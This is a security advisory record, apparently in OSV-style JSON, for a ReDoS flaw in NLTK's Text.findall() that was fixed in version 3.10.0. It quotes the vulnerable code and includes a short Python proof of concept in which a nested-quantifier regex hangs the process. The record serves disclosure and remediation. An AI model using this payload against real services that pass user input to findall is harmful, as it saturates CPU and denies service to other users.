{"id":"CVE-2026-80205","aliases":["GHSA-rrv8-h7p8-rx55","PYSEC-2026-3750"],"url":"https://o3.security/vulnerability/CVE-2026-80205","summary":"NLTK before 3.10.0 ReDoS via Text.findall() unvalidated regex","details":"### Summary\nNLTK's `Text.findall()` and `TokenSearcher.findall()` methods accept user-supplied regular expressions and pass them to the Python `re` engine without timeout or validation, enabling catastrophic backtracking (ReDoS). This issue is isolated to the `nltk.text` module and was resolved in a prior commit.\n\n### Affected Code\n`nltk/text.py` — `TokenSearcher.findall()` (line 255) / `Text.findall()` (line 620)\n\n`TokenSearcher.__init__` builds an internal string by wrapping each token in angle brackets. The `findall()` method preprocesses the caller-supplied regexp and runs it directly against this string with no timeout:\n\n```python\ndef findall(self, regexp):\n    # Preprocessing does NOT prevent catastrophic backtracking\n    regexp = re.sub(r\"\\s\", \"\", regexp)\n    regexp = re.sub(r\"<\", \"(?:<(?:\", regexp)\n    regexp = re.sub(r\">\", \")>)\", regexp)\n    regexp = re.sub(r\"(?<!\\\\)\\.\", \"[^>]\", regexp)\n\n    # User-controlled regexp executed with no timeout\n    hits = re.findall(regexp, self._raw)\n```\nThe preprocessing transforms `<` and `>` angle-bracket syntax but does not inspect or reject catastrophically backtracking patterns.\n\n### Proof of Concept\n```python\nimport nltk\nimport time\n\n# Token of 25 'a' characters produces self._raw = \"<aaaaaaaaaaaaaaaaaaaaaaaa!>\"\n# The trailing '!' ensures no match, forcing full backtracking.\ntext = nltk.Text([\"a\" * 25 + \"!\"])\n\n# Pattern after transformation:\n#   <  →  (?:<(?:\n#   >  →  )>)\n# Becomes: (?:<(?:((a+)+)b)>)\n# re.findall runs this against \"<aaaaaaaaaaaaaaaaaaaaaaaa!>\" — hangs.\n\nstart = time.time()\ntext.findall(r\"<((a+)+)b>\")   # Never returns\n```\n\n### Impact\nApplications that expose `Text.findall()` to external input are vulnerable to a denial of service. An unauthenticated attacker can cause indefinite CPU saturation with one request, denying service to all other users of the Python process.\n\n### Remediation\nThis vulnerability was patched in commit `d8e4753`. Users should update to the patched version.\n\n### Credit\nTool: Kira by [Offgrid Security](https://www.offgridsec.com)","published":"2026-08-26T10:28:14.352Z","modified":"2026-09-04T03:30:20.153212132Z","cvss":null,"epss":null,"cisaKev":null,"exploitsKnown":null,"affectedPackages":[{"ecosystem":"PyPI","name":"nltk","fixedVersion":"3.10.0"}],"fix":{"url":"https://github.com/nltk/nltk/pull/3674","label":"nltk/nltk#3674"},"references":[{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2026/09/01/3"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/80xxx/CVE-2026-80205.json"},{"type":"ADVISORY","url":"https://github.com/nltk/nltk/security/advisories/GHSA-rrv8-h7p8-rx55"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-80205"},{"type":"ADVISORY","url":"https://www.vulncheck.com/advisories/nltk-before-3.10.0-redos-via-text-findall-unvalidated-regex"},{"type":"WEB","url":"https://github.com/nltk/nltk/pull/3674"},{"type":"WEB","url":"https://github.com/nltk/nltk/commit/d8e47539317b571ab1422981f5b9653d5eae1249"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"},{"type":"WEB","url":"https://github.com/nltk/nltk/releases/tag/v3.10.0"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3750.yaml"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-09-04T03:30:20.153212132Z"}}